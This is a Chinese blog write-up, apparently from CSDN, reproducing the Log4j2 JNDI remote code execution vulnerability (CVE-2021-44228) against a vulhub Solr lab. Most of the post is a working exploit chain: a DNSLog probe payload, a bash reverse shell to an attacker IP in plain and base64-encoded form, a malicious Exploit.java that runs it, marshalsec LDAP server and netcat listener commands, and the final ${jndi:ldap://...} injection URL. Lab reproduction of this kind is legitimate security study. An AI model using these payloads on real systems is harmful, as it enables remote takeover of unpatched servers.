log4j2远程代码执行漏洞复现

参考文章:

http://t.csdnimg.cn/3K5ml

说明

log4j2:

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

靶场搭建:

在vulhub上面下载靶场包,找到编号CVE-2021-44228,使用docker以下命令启动:

[root@bogon CVE-2021-44228]# docker compose up -d

完成后,查看服务端口 8983

[root@bogon CVE-2021-44228]# docker ps
CONTAINER ID   IMAGE                COMMAND                   CREATED          STATUS          PORTS                                       NAMES
da2dd853a17a   vulhub/solr:8.11.0   "bash /docker-entryp…"   12 minutes ago   Up 12 minutes   0.0.0.0:8983->8983/tcp, :::8983->8983/tcp   cve-2021-44228-solr-1

访问

测试漏洞

在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:

http://192.168.87.87:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.10ztpb.dnslog.cn }

注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞,我们将在DNSLog平台看到回显。

可以看到java的版本了,说明存在漏洞

漏洞利用

编写恶意文件Exploit.java,企图反弹shell到kali的7777端口:

bash -i >& /dev/tcp/192.168.87.131/7777 0>&1

进行base64编码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEzMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

然后编写恶意文件,命名为Exploit.java

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEzMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

然后我们把Exploit.java编译为Exploit.class,最好保证javac的版本为1.8。命令如下:

javac Exploit.java

把这个class文件上传到kali的某一个目录下面

在kali中的某一个目录中开启4444端口:

然后我们浏览器访问kali的这个目录可以看到:

下面需要在kali中启动LDAP服务,这里使用marshalsec-0.0.3-SNAPSHOT-all.jar工具,安装过程详见:

http://t.csdnimg.cn/VgTj4

然后下载marshalsec包,在目录下面解压后,进行编译:

mvn clean package -DskipTests

https://github.com/mbechler/marshalsec

编译完成后会发现目录中有我们需要的这个jar包,我们是要用这个工具建立LDAP服务

启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.87.131:4444/#Exploit" 1389

 接着在攻击机另起一个终端,监听之前Exploit.java里面写的反弹shell的端口7777,命令为:

nc -lvvp 7777

 最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:

${jndi:ldap://192.168.87.131:1389/Exploit}

完整的url为:

http://192.168.87.87:8983/solr/admin/cores?action=${jndi:ldap://192.168.87.131:1389/Exploit}

我们访问可以看到:

kali上面可以看到:

可以看到靶机已经成功访问到了恶意文件,如果成功执行的话,可以看到监听7777端口的回显,并且远程执行命令了,不过我这边靶机没有执行这个文件,大致过程是这样子

  • 23
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值